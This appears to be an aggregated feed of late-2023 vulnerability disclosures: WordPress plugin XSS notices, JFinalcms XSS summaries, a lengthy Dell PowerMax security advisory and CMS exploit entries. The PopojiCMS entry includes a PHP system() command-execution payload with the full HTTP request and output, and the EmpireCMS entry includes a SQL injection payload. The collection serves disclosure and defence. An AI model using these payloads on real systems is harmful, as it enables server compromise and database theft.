Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 10to8 Sign In Scheduling Online Appointment Booking System allows Stored XSS.This issue affects Sign In Scheduling Online Appointment Booking System: from n/a through 1.0.9.



**Solution**

 No fix available

 vPatch available

No patched version is available.

Found this useful? Thank Ngô Thiên An (ancorn\_ from VNPT-VCI) for reporting this vulnerability. Buy a coffee ☕

Ngô Thiên An (ancorn\_ from VNPT-VCI) discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress 10to8 Online Appointment Booking System Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-49173: WordPress 10to8 Online Appointment Booking System plugin <= 1.0.9 - Cross Site Scripting (XSS) vulnerability - Patchstack

JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) in the site management office.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2023-50137: CVE/3/There is a storage type xss in the site management office.md at main · yukino-hiki/CVE

JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) via carousel image editing.

CVE-2023-50100: cms/There is a storage type XSS for carousel image editing.md at master · Jarvis-616/cms

JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS) via Label management editing.

CVE-2023-50101: cms/Label management editing with stored XSS.md at master · Jarvis-616/cms

JFinalcms 5.0.0 is vulnerable to Cross Site Scripting (XSS).

CVE-2023-50102: cms/Content data exists in storage XSS for editing.md at master · Jarvis-616/cms

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in TheInnovs Innovs HR – Complete Human Resource Management System for Your Business allows Reflected XSS.This issue affects Innovs HR – Complete Human Resource Management System for Your Business: from n/a through 1.0.3.4.



**Solution**

 No fix available

 vPatch available

No patched version is available.

SeungYongLee discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress Innovs HR Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-49171: WordPress Innovs HR plugin <= 1.0.3.4 - Reflected Cross Site Scripting (XSS) vulnerability - Patchstack

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BrainCert BrainCert – HTML5 Virtual Classroom allows Reflected XSS.This issue affects BrainCert – HTML5 Virtual Classroom: from n/a through 1.30.



**Solution**

 No fix available

 vPatch available

No patched version is available. No reply from the vendor.

Found this useful? Thank Abu Hurayra for reporting this vulnerability. Buy a coffee ☕

Abu Hurayra discovered and reported this Cross Site Scripting (XSS) vulnerability in WordPress BrainCert – HTML5 Virtual Classroom Plugin. This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-49172: WordPress BrainCert HTML5 Virtual Classroom plugin <= 1.30 - Reflected Cross Site Scripting (XSS) vulnerability - Patchstack


Dell vApp Manger, versions prior to 9.2.4.x contain an arbitrary file read vulnerability. A remote attacker could potentially exploit this vulnerability to read arbitrary files from the target system.



**Article Content**

**Impact**

High

**Details**

**Third-Party Component**

**CVEs**

**More Information**

SOCKS5

CVE-2023-38545

See NVD link below for individual scores for each CVE.  
https://nvd.nist.gov/vuln/detail/CVE-2023-38545

SLES 12 SP5

CVE-2016-3709, CVE-2018-7738, CVE-2018-9234, CVE-2020-22218, CVE-2020-36766, CVE-2022-36402, CVE-2022-40982, CVE-2022-48565, CVE-2022-48566, CVE-2023-0394, CVE-2023-0459, CVE-2023-1192, CVE-2023-1206, CVE-2023-1859, CVE-2023-1981, CVE-2023-2007, CVE-2023-20197, CVE-2023-20569, CVE-2023-20588, CVE-2023-20593, CVE-2023-28484, CVE-2023-28736, CVE-2023-28938, CVE-2023-29469, CVE-2023-2985, CVE-2023-32182, CVE-2023-32360, CVE-2023-3341, CVE-2023-34241, CVE-2023-34319, CVE-2023-3446, CVE-2023-34969, CVE-2023-35001, CVE-2023-3567, CVE-2023-35945, CVE-2023-36054, CVE-2023-3609, CVE-2023-3611, CVE-2023-3772, CVE-2023-3776, CVE-2023-3812, CVE-2023-3817, CVE-2023-38408, CVE-2023-38559, CVE-2023-3863, CVE-2023-39192, CVE-2023-39193, CVE-2023-39194, CVE-2023-39615, CVE-2023-4016, CVE-2023-40217, CVE-2023-40283, CVE-2023-4128, CVE-2023-4132, CVE-2023-4133, CVE-2023-4134, CVE-2023-4156, CVE-2023-4194, CVE-2023-42754, CVE-2023-43115, CVE-2023-43785, CVE-2023-43786, CVE-2023-43787, CVE-2023-4385, CVE-2023-4387, CVE-2023-4459, CVE-2023-4504, CVE-2023-4622, CVE-2023-4623, CVE-2023-4641, CVE-2023-4692, CVE-2023-4693, CVE-2023-4881, CVE-2023-4921

See NVD link below for individual scores for each CVE.  
http://nvd.nist.gov/

Oracle

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025

See NVD link below for individual scores for each CVE.  
http://nvd.nist.gov/

Windows 10

CVE-2023-36724, CVE-2023-36434, CVE-2023-36576, CVE-2023-36598, CVE-2023-36731, CVE-2023-36557, CVE-2023-36563, CVE-2023-36721, CVE-2023-44487, CVE-2023-36602, CVE-2023-36725, CVE-2023-36436, CVE-2023-36438, CVE-2023-36720, CVE-2023-36431, CVE-2023-36570, CVE-2023-36722, CVE-2023-36723, CVE-2023-36726, CVE-2023-36732, CVE-2023-41773, CVE-2023-41772, CVE-2023-41771, CVE-2023-41770, CVE-2023-41768, CVE-2023-41767, CVE-2023-36743, CVE-2023-36776, CVE-2023-38166, CVE-2023-36902, CVE-2023-35349, CVE-2023-36564, CVE-2023-36567, CVE-2023-36571, CVE-2023-36572, CVE-2023-36573, CVE-2023-36574, CVE-2023-36575, CVE-2023-36577, CVE-2023-36578, CVE-2023-36579, CVE-2023-36581, CVE-2023-36582, CVE-2023-36583, CVE-2023-36584, CVE-2023-36585, CVE-2023-36589, CVE-2023-36590, CVE-2023-36591, CVE-2023-36592, CVE-2023-36593, CVE-2023-36594, CVE-2023-36596, CVE-2023-36603, CVE-2023-36605, CVE-2023-36606, CVE-2023-36697, CVE-2023-36698, CVE-2023-36701, CVE-2023-36702, CVE-2023-36704, CVE-2023-36709, CVE-2023-36710, CVE-2023-36711, CVE-2023-36712, CVE-2023-36713, CVE-2023-36729, CVE-2023-41774, CVE-2023-41769, CVE-2023-41766, CVE-2023-41765, CVE-2023-38159, CVE-2023-36794, CVE-2023-36792, CVE-2023-36796, CVE-2023-36788, CVE-2023-36793, CVE-2023-36803, CVE-2023-38142, CVE-2023-38160, CVE-2023-38161, CVE-2023-36802, CVE-2023-36804, CVE-2023-36805, CVE-2023-38139, CVE-2023-38140, CVE-2023-38141, CVE-2023-38143, CVE-2023-38144, CVE-2023-38147, CVE-2023-38149, CVE-2023-35355, CVE-2023-36899, CVE-2023-36873, CVE-2023-38172, CVE-2023-38184, CVE-2023-35387, CVE-2023-35386, CVE-2023-35385, CVE-2023-35384, CVE-2023-35383, CVE-2023-35380, CVE-2023-35378, CVE-2023-35377, CVE-2023-38254, CVE-2023-36913, CVE-2023-36911, CVE-2023-36907, CVE-2023-36889

See NVD link below for individual scores for each CVE.  
http://nvd.nist.gov/

Dell Technologies recommends all customers consider both the CVSS base score and any relevant temporal and environmental scores that may impact the potential severity associated with a particular security vulnerability.

**Affected Products and Remediation**

**CVEs Addressed**

**Product**

**Software/Firmware**

**Affected Versions**

**Remediated Versions**

**Link**

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025

Unisphere for PowerMax

Host Installation

Versions prior to 9.2.4.7

Version 9.2.4.7

https://www.dell.com/support/home/product-support/product/unisphere-powermax/drivers

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025, CVE-2023-38545, CVE-2023-48660, CVE-2023-48661, CVE-2023-48662, CVE-2023-48663, CVE-2023-48664, CVE-2023-48665, CVE-2023-48671

Unisphere for PowerMax Virtual Appliance

Virtual Appliance

Versions prior to 9.2.4.7

Version 9.2.4.7

https://www.dell.com/support/home/product-support/product/unisphere-powermax/drivers

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025

Unisphere 360

Host Installation

Versions prior to 9.2.4.11

Version 9.2.4.11

https://www.dell.com/support/home/product-support/product/unisphere-360/drivers

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025, CVE-2023-38545, CVE-2023-48660, CVE-2023-48661, CVE-2023-48662, CVE-2023-48663, CVE-2023-48664, CVE-2023-48665, CVE-2023-48671

Solutions Enabler Virtual Appliance

Virtual Appliance

Versions prior to 9.2.4.5

Version 9.2.4.5

https://www.dell.com/support/home/product-support/product/solutions-enabler/drivers

CVE-2016-3709, CVE-2018-7738, CVE-2018-9234, CVE-2020-22218, CVE-2020-36766, CVE-2022-36402, CVE-2022-40982, CVE-2022-48565, CVE-2022-48566, CVE-2023-0394, CVE-2023-0459, CVE-2023-1192, CVE-2023-1206, CVE-2023-1859, CVE-2023-1981, CVE-2023-2007, CVE-2023-20197, CVE-2023-20569, CVE-2023-20588, CVE-2023-20593, CVE-2023-28484, CVE-2023-28736, CVE-2023-28938, CVE-2023-29469, CVE-2023-2985, CVE-2023-32182, CVE-2023-32360, CVE-2023-3341, CVE-2023-34241, CVE-2023-34319, CVE-2023-3446, CVE-2023-34969, CVE-2023-35001, CVE-2023-3567, CVE-2023-35945, CVE-2023-36054, CVE-2023-3609, CVE-2023-3611, CVE-2023-3772, CVE-2023-3776, CVE-2023-3812, CVE-2023-3817, CVE-2023-38408, CVE-2023-38559, CVE-2023-3863, CVE-2023-39192, CVE-2023-39193, CVE-2023-39194, CVE-2023-39615, CVE-2023-4016, CVE-2023-40217, CVE-2023-40283, CVE-2023-4128, CVE-2023-4132, CVE-2023-4133, CVE-2023-4134, CVE-2023-4156, CVE-2023-4194, CVE-2023-42754, CVE-2023-43115, CVE-2023-43785, CVE-2023-43786, CVE-2023-43787, CVE-2023-4385, CVE-2023-4387, CVE-2023-4459, CVE-2023-4504, CVE-2023-4622, CVE-2023-4623, CVE-2023-4641, CVE-2023-4692, CVE-2023-4693, CVE-2023-4881, CVE-2023-4921, CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025, CVE-2023-38545, CVE-2023-48660, CVE-2023-48661, CVE-2023-48662, CVE-2023-48663, CVE-2023-48664, CVE-2023-48665, CVE-2023-48671

Dell PowerMax EEM

Embedded Management

Version 5978

Version 5978.714.714 Patch 10120

Contact customer support and request DSA-2023-443  
https://www.dell.com/support/incidents-online

CVE-2023-36724, CVE-2023-36434, CVE-2023-36576, CVE-2023-36598, CVE-2023-36731, CVE-2023-36557, CVE-2023-36563, CVE-2023-36721, CVE-2023-44487, CVE-2023-36602, CVE-2023-36725, CVE-2023-36436, CVE-2023-36438, CVE-2023-36720, CVE-2023-36431, CVE-2023-36570, CVE-2023-36722, CVE-2023-36723, CVE-2023-36726, CVE-2023-36732, CVE-2023-41773, CVE-2023-41772, CVE-2023-41771, CVE-2023-41770, CVE-2023-41768, CVE-2023-41767, CVE-2023-36743, CVE-2023-36776, CVE-2023-38166, CVE-2023-36902, CVE-2023-35349, CVE-2023-36564, CVE-2023-36567, CVE-2023-36571, CVE-2023-36572, CVE-2023-36573, CVE-2023-36574, CVE-2023-36575, CVE-2023-36577, CVE-2023-36578, CVE-2023-36579, CVE-2023-36581, CVE-2023-36582, CVE-2023-36583, CVE-2023-36584, CVE-2023-36585, CVE-2023-36589, CVE-2023-36590, CVE-2023-36591, CVE-2023-36592, CVE-2023-36593, CVE-2023-36594, CVE-2023-36596, CVE-2023-36603, CVE-2023-36605, CVE-2023-36606, CVE-2023-36697, CVE-2023-36698, CVE-2023-36701, CVE-2023-36702, CVE-2023-36704, CVE-2023-36709, CVE-2023-36710, CVE-2023-36711, CVE-2023-36712, CVE-2023-36713, CVE-2023-36729, CVE-2023-41774, CVE-2023-41769, CVE-2023-41766, CVE-2023-41765, CVE-2023-38159, CVE-2023-36794, CVE-2023-36792, CVE-2023-36796, CVE-2023-36788, CVE-2023-36793, CVE-2023-36803, CVE-2023-38142, CVE-2023-38160, CVE-2023-38161, CVE-2023-36802, CVE-2023-36804, CVE-2023-36805, CVE-2023-38139, CVE-2023-38140, CVE-2023-38141, CVE-2023-38143, CVE-2023-38144, CVE-2023-38147, CVE-2023-38149, CVE-2023-35355, CVE-2023-36899, CVE-2023-36873, CVE-2023-38172, CVE-2023-38184, CVE-2023-35387, CVE-2023-35386, CVE-2023-35385, CVE-2023-35384, CVE-2023-35383, CVE-2023-35380, CVE-2023-35378, CVE-2023-35377, CVE-2023-38254, CVE-2023-36913, CVE-2023-36911, CVE-2023-36907, CVE-2023-36889

PowerMaxOS 5978

PowerMax OS

Version 5978

Version 5978.714.714 Patch 10120

Contact customer support and request DSA-2023-443  
https://www.dell.com/support/incidents-online

**CVEs Addressed**

**Product**

**Software/Firmware**

**Affected Versions**

**Remediated Versions**

**Link**

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025

Unisphere for PowerMax

Host Installation

Versions prior to 9.2.4.7

Version 9.2.4.7

https://www.dell.com/support/home/product-support/product/unisphere-powermax/drivers

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025, CVE-2023-38545, CVE-2023-48660, CVE-2023-48661, CVE-2023-48662, CVE-2023-48663, CVE-2023-48664, CVE-2023-48665, CVE-2023-48671

Unisphere for PowerMax Virtual Appliance

Virtual Appliance

Versions prior to 9.2.4.7

Version 9.2.4.7

https://www.dell.com/support/home/product-support/product/unisphere-powermax/drivers

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025

Unisphere 360

Host Installation

Versions prior to 9.2.4.11

Version 9.2.4.11

https://www.dell.com/support/home/product-support/product/unisphere-360/drivers

CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025, CVE-2023-38545, CVE-2023-48660, CVE-2023-48661, CVE-2023-48662, CVE-2023-48663, CVE-2023-48664, CVE-2023-48665, CVE-2023-48671

Solutions Enabler Virtual Appliance

Virtual Appliance

Versions prior to 9.2.4.5

Version 9.2.4.5

https://www.dell.com/support/home/product-support/product/solutions-enabler/drivers

CVE-2016-3709, CVE-2018-7738, CVE-2018-9234, CVE-2020-22218, CVE-2020-36766, CVE-2022-36402, CVE-2022-40982, CVE-2022-48565, CVE-2022-48566, CVE-2023-0394, CVE-2023-0459, CVE-2023-1192, CVE-2023-1206, CVE-2023-1859, CVE-2023-1981, CVE-2023-2007, CVE-2023-20197, CVE-2023-20569, CVE-2023-20588, CVE-2023-20593, CVE-2023-28484, CVE-2023-28736, CVE-2023-28938, CVE-2023-29469, CVE-2023-2985, CVE-2023-32182, CVE-2023-32360, CVE-2023-3341, CVE-2023-34241, CVE-2023-34319, CVE-2023-3446, CVE-2023-34969, CVE-2023-35001, CVE-2023-3567, CVE-2023-35945, CVE-2023-36054, CVE-2023-3609, CVE-2023-3611, CVE-2023-3772, CVE-2023-3776, CVE-2023-3812, CVE-2023-3817, CVE-2023-38408, CVE-2023-38559, CVE-2023-3863, CVE-2023-39192, CVE-2023-39193, CVE-2023-39194, CVE-2023-39615, CVE-2023-4016, CVE-2023-40217, CVE-2023-40283, CVE-2023-4128, CVE-2023-4132, CVE-2023-4133, CVE-2023-4134, CVE-2023-4156, CVE-2023-4194, CVE-2023-42754, CVE-2023-43115, CVE-2023-43785, CVE-2023-43786, CVE-2023-43787, CVE-2023-4385, CVE-2023-4387, CVE-2023-4459, CVE-2023-4504, CVE-2023-4622, CVE-2023-4623, CVE-2023-4641, CVE-2023-4692, CVE-2023-4693, CVE-2023-4881, CVE-2023-4921, CVE-2023-30589, CVE-2023-22067, CVE-2023-22081, CVE-2023-22091, CVE-2023-22025, CVE-2023-38545, CVE-2023-48660, CVE-2023-48661, CVE-2023-48662, CVE-2023-48663, CVE-2023-48664, CVE-2023-48665, CVE-2023-48671

Dell PowerMax EEM

Embedded Management

Version 5978

Version 5978.714.714 Patch 10120

Contact customer support and request DSA-2023-443  
https://www.dell.com/support/incidents-online

CVE-2023-36724, CVE-2023-36434, CVE-2023-36576, CVE-2023-36598, CVE-2023-36731, CVE-2023-36557, CVE-2023-36563, CVE-2023-36721, CVE-2023-44487, CVE-2023-36602, CVE-2023-36725, CVE-2023-36436, CVE-2023-36438, CVE-2023-36720, CVE-2023-36431, CVE-2023-36570, CVE-2023-36722, CVE-2023-36723, CVE-2023-36726, CVE-2023-36732, CVE-2023-41773, CVE-2023-41772, CVE-2023-41771, CVE-2023-41770, CVE-2023-41768, CVE-2023-41767, CVE-2023-36743, CVE-2023-36776, CVE-2023-38166, CVE-2023-36902, CVE-2023-35349, CVE-2023-36564, CVE-2023-36567, CVE-2023-36571, CVE-2023-36572, CVE-2023-36573, CVE-2023-36574, CVE-2023-36575, CVE-2023-36577, CVE-2023-36578, CVE-2023-36579, CVE-2023-36581, CVE-2023-36582, CVE-2023-36583, CVE-2023-36584, CVE-2023-36585, CVE-2023-36589, CVE-2023-36590, CVE-2023-36591, CVE-2023-36592, CVE-2023-36593, CVE-2023-36594, CVE-2023-36596, CVE-2023-36603, CVE-2023-36605, CVE-2023-36606, CVE-2023-36697, CVE-2023-36698, CVE-2023-36701, CVE-2023-36702, CVE-2023-36704, CVE-2023-36709, CVE-2023-36710, CVE-2023-36711, CVE-2023-36712, CVE-2023-36713, CVE-2023-36729, CVE-2023-41774, CVE-2023-41769, CVE-2023-41766, CVE-2023-41765, CVE-2023-38159, CVE-2023-36794, CVE-2023-36792, CVE-2023-36796, CVE-2023-36788, CVE-2023-36793, CVE-2023-36803, CVE-2023-38142, CVE-2023-38160, CVE-2023-38161, CVE-2023-36802, CVE-2023-36804, CVE-2023-36805, CVE-2023-38139, CVE-2023-38140, CVE-2023-38141, CVE-2023-38143, CVE-2023-38144, CVE-2023-38147, CVE-2023-38149, CVE-2023-35355, CVE-2023-36899, CVE-2023-36873, CVE-2023-38172, CVE-2023-38184, CVE-2023-35387, CVE-2023-35386, CVE-2023-35385, CVE-2023-35384, CVE-2023-35383, CVE-2023-35380, CVE-2023-35378, CVE-2023-35377, CVE-2023-38254, CVE-2023-36913, CVE-2023-36911, CVE-2023-36907, CVE-2023-36889

PowerMaxOS 5978

PowerMax OS

Version 5978

Version 5978.714.714 Patch 10120

Contact customer support and request DSA-2023-443  
https://www.dell.com/support/incidents-online

**Acknowledgements**

CVE-2023-48660, CVE-2023-48661, CVE-2023-48662, CVE-2023-48663, CVE-2023-48664, CVE-2023-48665, CVE-2023-48671: Dell Technologies would like to thank 33a6099 for reporting these issues.   
 

**Revision History**

**Revision**

**Date**

**Description**

1.0

2023-12-13

Initial Version

**Related Information**

Dell Security Advisories and Notices  
Dell Vulnerability Response Policy  
CVSS Scoring Guide

**Article Properties**

**Affected Product**

PowerMaxOS 5978, Solutions Enabler, Unisphere 360, Unisphere for PowerMax

**Last Published Date**

13 Dec 2023

**Version**

1

**Article Type**

Dell Security Advisory

CVE-2023-48660: DSA-2023-443: Dell PowerMaxOS 5978, Dell Unisphere 360, Dell Unisphere for PowerMax, Dell Unisphere for PowerMax Virtual Appliance, Dell Solutions Enabler Virtual Appliance, and Dell PowerMax EEM Secu

PopojiCMS version 2.0.1 is vulnerable to remote command execution in the Meta Social field.

    # Exploit Title: PopojiCMS Version : 2.0.1  Remote Command Execution# Date: 27/11/2023# Exploit Author: tmrswrr# Vendor Homepage: https://www.popojicms.org/# Software Link: https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip# Version: Version : 2.0.1# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS##POC:1 ) Login with admin cred and click settings2 ) Click on config , write your payload in Meta Social > <?php echo system('id'); ?>3 ) Open main page , you will be see id command result POST /PopojiCMS9zl3dxwbzt/po-admin/route.php?mod=setting&act=metasocial HTTP/1.1Host: demos5.softaculous.comCookie: _ga_YYDPZ3NXQQ=GS1.1.1701095610.3.1.1701096569.0.0.0; _ga=GA1.1.386621536.1701082112; AEFCookies1526[aefsid]=3cbt9mdj1kpi06aj1q5r8yhtgouteb5s; PHPSESSID=b6f1f9beefcec94f09824efa9dae9847; lang=gb; demo_563=%7B%22sid%22%3A563%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%22%2C%22adminurl%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%5C%2Fpo-admin%5C%2F%22%2C%22dir_suffix%22%3A%229zl3dxwbzt%22%7DUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://demos5.softaculous.com/PopojiCMS9zl3dxwbzt/po-admin/admin.php?mod=settingContent-Type: application/x-www-form-urlencodedContent-Length: 58Origin: https://demos5.softaculous.comDnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: closemeta_content=%3C%3Fphp+echo+system%28%27id%27%29%3B+%3F%3EResult: uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft)

CVE-2023-50011: PopojiCMS 2.0.1 Remote Command Execution ≈ Packet Storm

EmpireCMS v7.5 was discovered to contain a SQL injection vulnerability via the ftppassword parameter at SetEnews.php.

**Brief of this vulnerability**  
EmpireCMS v7.5 has an SQL injection vulnerability when configuring FTP passwords

**Test Environment**  
Windows10  
PHP 5.4.45+Apache/2.4.39

**Affect version**  
EmpireCMS 7.5

**Vulnerable Code**  
e\\admin\\SetEnews.php line 353

  

**Vulnerability display**  
First enter the background

Click to add and capture the packet  

Modify parameters  
payload：ftppassword=test'+and+(updatexml(1,concat(0x3a,(database())),1))+and'  

Successfully obtained the database name

Source

CVE